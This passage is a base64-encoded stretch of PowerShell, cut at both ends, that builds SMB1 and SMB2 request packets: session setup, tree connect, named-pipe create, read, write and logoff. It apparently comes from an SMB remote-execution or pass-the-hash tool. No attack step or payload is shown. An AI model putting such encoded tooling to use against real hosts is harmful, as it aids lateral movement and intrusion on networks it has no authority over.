GQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXF1ZXN0ZWREaWFsZWN0c19EaWFsZWN0X0J1ZmZlckZvcm1hdDIiLFtCeXRlW11dKDB4MDIpKQ0KICAgICAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXF1ZXN0ZWREaWFsZWN0c19EaWFsZWN0X05hbWUyIixbQnl0ZVtdXSgweDUzLDB4NGQsMHg0MiwweDIwLDB4MzIsMHgyZSwweDMwLDB4MzAsMHgzMiwweDAwKSkNCiAgICAgICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfUmVxdWVzdGVkRGlhbGVjdHNfRGlhbGVjdF9CdWZmZXJGb3JtYXQzIixbQnl0ZVtdXSgweDAyKSkNCiAgICAgICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfUmVxdWVzdGVkRGlhbGVjdHNfRGlhbGVjdF9OYW1lMyIsW0J5dGVbXV0oMHg1MywweDRkLDB4NDIsMHgyMCwweDMyLDB4MmUsMHgzZiwweDNmLDB4M2YsMHgwMCkpDQogICAgfQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X3NlY3VyaXR5X2Jsb2IpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfYnl0ZV9jb3VudCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZWN1cml0eV9ibG9iLkxlbmd0aCkNCiAgICAkcGFja2V0X2J5dGVfY291bnQgPSAkcGFja2V0X2J5dGVfY291bnRbMCwxXQ0KICAgIFtCeXRlW11dJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZWN1cml0eV9ibG9iLkxlbmd0aCArIDUpDQogICAgJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCA9ICRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X1dvcmRDb3VudCIsW0J5dGVbXV0oMHgwYykpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X0FuZFhDb21tYW5kIixbQnl0ZVtdXSgweGZmKSkNCiAgICAkcGFja2V0X1NNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0LkFkZCgiU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9BbmRYT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9NYXhCdWZmZXIiLFtCeXRlW11dKDB4ZmYsMHhmZikpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X01heE1weENvdW50IixbQnl0ZVtdXSgweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9WQ051bWJlciIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAkcGFja2V0X1NNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0LkFkZCgiU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3RfU2Vzc2lvbktleSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X1NlY3VyaXR5QmxvYkxlbmd0aCIsJHBhY2tldF9ieXRlX2NvdW50KQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9DYXBhYmlsaXRpZXMiLFtCeXRlW11dKDB4NDQsMHgwMCwweDAwLDB4ODApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9CeXRlQ291bnQiLCRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGgpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X1NlY3VyaXR5QmxvYiIsJHBhY2tldF9zZWN1cml0eV9ibG9iKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9OYXRpdmVPUyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9OYXRpdmVMQU5NYW5hZ2UiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdCANCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9wYXRoKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X3BhdGhfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3BhdGguTGVuZ3RoICsgNykNCiAgICAkcGFja2V0X3BhdGhfbGVuZ3RoID0gJHBhY2tldF9wYXRoX2xlbmd0aFswLDFdDQoNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfV29yZENvdW50IixbQnl0ZVtdXSgweDA0KSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X0FuZFhDb21tYW5kIixbQnl0ZVtdXSgweGZmKSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X0FuZFhPZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0LkFkZCgiU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdF9GbGFncyIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X1Bhc3N3b3JkTGVuZ3RoIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfQnl0ZUNvdW50IiwkcGFja2V0X3BhdGhfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfUGFzc3dvcmQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfVHJlZSIsJHBhY2tldF9wYXRoKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfU2VydmljZSIsW0J5dGVbXV0oMHgzZiwweDNmLDB4M2YsMHgzZiwweDNmLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CTlRDcmVhdGVBbmRYUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X25hbWVkX3BpcGUpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfbmFtZWRfcGlwZS5MZW5ndGgpDQogICAgJHBhY2tldF9uYW1lZF9waXBlX2xlbmd0aCA9ICRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGhbMCwxXQ0KICAgIFtCeXRlW11dJHBhY2tldF9maWxlX25hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X25hbWVkX3BpcGUuTGVuZ3RoIC0gMSkNCiAgICAkcGFja2V0X2ZpbGVfbmFtZV9sZW5ndGggPSAkcGFja2V0X2ZpbGVfbmFtZV9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X1dvcmRDb3VudCIsW0J5dGVbXV0oMHgxOCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9BbmRYQ29tbWFuZCIsW0J5dGVbXV0oMHhmZikpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9BbmRYT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdC5BZGQoIlNNQk5UQ3JlYXRlQW5kWFJlcXVlc3RfUmVzZXJ2ZWQyIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X0ZpbGVOYW1lTGVuIiwkcGFja2V0X2ZpbGVfbmFtZV9sZW5ndGgpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9DcmVhdGVGbGFncyIsW0J5dGVbXV0oMHgxNiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9Sb290RklEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X0FjY2Vzc01hc2siLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDIpKQ0KICAgICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdC5BZGQoIlNNQk5UQ3JlYXRlQW5kWFJlcXVlc3RfQWxsb2NhdGlvblNpemUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9GaWxlQXR0cmlidXRlcyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9TaGFyZUFjY2VzcyIsW0J5dGVbXV0oMHgwNywweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9EaXNwb3NpdGlvbiIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9DcmVhdGVPcHRpb25zIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X0ltcGVyc29uYXRpb24iLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdC5BZGQoIlNNQk5UQ3JlYXRlQW5kWFJlcXVlc3RfU2VjdXJpdHlGbGFncyIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9CeXRlQ291bnQiLCRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGgpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9GaWxlbmFtZSIsJHBhY2tldF9uYW1lZF9waXBlKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CUmVhZEFuZFhSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQlJlYWRBbmRYUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfV29yZENvdW50IixbQnl0ZVtdXSgweDBhKSkNCiAgICAkcGFja2V0X1NNQlJlYWRBbmRYUmVxdWVzdC5BZGQoIlNNQlJlYWRBbmRYUmVxdWVzdF9BbmRYQ29tbWFuZCIsW0J5dGVbXV0oMHhmZikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CUmVhZEFuZFhSZXF1ZXN0LkFkZCgiU01CUmVhZEFuZFhSZXF1ZXN0X0FuZFhPZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfRklEIixbQnl0ZVtdXSgweDAwLDB4NDApKQ0KICAgICRwYWNrZXRfU01CUmVhZEFuZFhSZXF1ZXN0LkFkZCgiU01CUmVhZEFuZFhSZXF1ZXN0X09mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfTWF4Q291bnRMb3ciLFtCeXRlW11dKDB4NTgsMHgwMikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfTWluQ291bnQiLFtCeXRlW11dKDB4NTgsMHgwMikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfVW5rbm93biIsW0J5dGVbXV0oMHhmZiwweGZmLDB4ZmYsMHhmZikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfUmVtYWluaW5nIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CUmVhZEFuZFhSZXF1ZXN0LkFkZCgiU01CUmVhZEFuZFhSZXF1ZXN0X0J5dGVDb3VudCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQlJlYWRBbmRYUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CV3JpdGVBbmRYUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0ludF0kcGFja2V0X1JQQ19sZW5ndGgpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X1JQQ19sZW5ndGggKyAyNCkNCiAgICAkcGFja2V0X3dyaXRlX2xlbmd0aCA9ICRwYWNrZXRfd3JpdGVfbGVuZ3RoWzAsMV0NCg0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MGUpKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfQW5kWENvbW1hbmQiLFtCeXRlW11dKDB4ZmYpKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfQW5kWE9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X0ZJRCIsW0J5dGVbXV0oMHgwMCwweDQwKSkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X09mZnNldCIsW0J5dGVbXV0oMHhlYSwweDAzLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9SZXNlcnZlZDIiLFtCeXRlW11dKDB4ZmYsMHhmZiwweGZmLDB4ZmYpKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfV3JpdGVNb2RlIixbQnl0ZVtdXSgweDA4LDB4MDApKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfUmVtYWluaW5nIixbQnl0ZVtdXSgweDUwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfRGF0YUxlbmd0aEhpZ2giLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9EYXRhTGVuZ3RoTG93IiwkcGFja2V0X3dyaXRlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X0RhdGFPZmZzZXQiLFtCeXRlW11dKDB4M2YsMHgwMCkpDQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9IaWdoT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X0J5dGVDb3VudCIsJHBhY2tldF93cml0ZV9sZW5ndGgpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUJDbG9zZVJlcXVlc3QoKQ0Kew0KICAgIHBhcmFtIChbQnl0ZVtdXSRwYWNrZXRfZmlsZV9JRCkNCg0KICAgICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQkNsb3NlUmVxdWVzdC5BZGQoIlNNQkNsb3NlUmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0LkFkZCgiU01CQ2xvc2VSZXF1ZXN0X0ZJRCIsJHBhY2tldF9maWxlX0lEKQ0KICAgICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0LkFkZCgiU01CQ2xvc2VSZXF1ZXN0X0xhc3RXcml0ZSIsW0J5dGVbXV0oMHhmZiwweGZmLDB4ZmYsMHhmZikpDQogICAgJHBhY2tldF9TTUJDbG9zZVJlcXVlc3QuQWRkKCJTTUJDbG9zZVJlcXVlc3RfQnl0ZUNvdW50IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUJUcmVlRGlzY29ubmVjdFJlcXVlc3QoKQ0Kew0KICAgICRwYWNrZXRfU01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQlRyZWVEaXNjb25uZWN0UmVxdWVzdC5BZGQoIlNNQlRyZWVEaXNjb25uZWN0UmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0LkFkZCgiU01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0X0J5dGVDb3VudCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQlRyZWVEaXNjb25uZWN0UmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CTG9nb2ZmQW5kWFJlcXVlc3QoKQ0Kew0KICAgICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QuQWRkKCJTTUJMb2dvZmZBbmRYUmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MDIpKQ0KICAgICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QuQWRkKCJTTUJMb2dvZmZBbmRYUmVxdWVzdF9BbmRYQ29tbWFuZCIsW0J5dGVbXV0oMHhmZikpDQogICAgJHBhY2tldF9TTUJMb2dvZmZBbmRYUmVxdWVzdC5BZGQoIlNNQkxvZ29mZkFuZFhSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQkxvZ29mZkFuZFhSZXF1ZXN0LkFkZCgiU01CTG9nb2ZmQW5kWFJlcXVlc3RfQW5kWE9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQkxvZ29mZkFuZFhSZXF1ZXN0LkFkZCgiU01CTG9nb2ZmQW5kWFJlcXVlc3RfQnl0ZUNvdW50IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QNCn0NCg0KI1NNQjINCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQjJIZWFkZXIoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9jb21tYW5kLFtJbnRdJHBhY2tldF9tZXNzYWdlX0lELFtCeXRlW11dJHBhY2tldF90cmVlX0lELFtCeXRlW11dJHBhY2tldF9zZXNzaW9uX0lEKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X21lc3NhZ2VfSUQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfbWVzc2FnZV9JRCkgKyAweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAkcGFja2V0X1NNQjJIZWFkZXIgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfUHJvdG9jb2xJRCIsW0J5dGVbXV0oMHhmZSwweDUzLDB4NGQsMHg0MikpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9TdHJ1Y3R1cmVTaXplIixbQnl0ZVtdXSgweDQwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfQ3JlZGl0Q2hhcmdlIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZ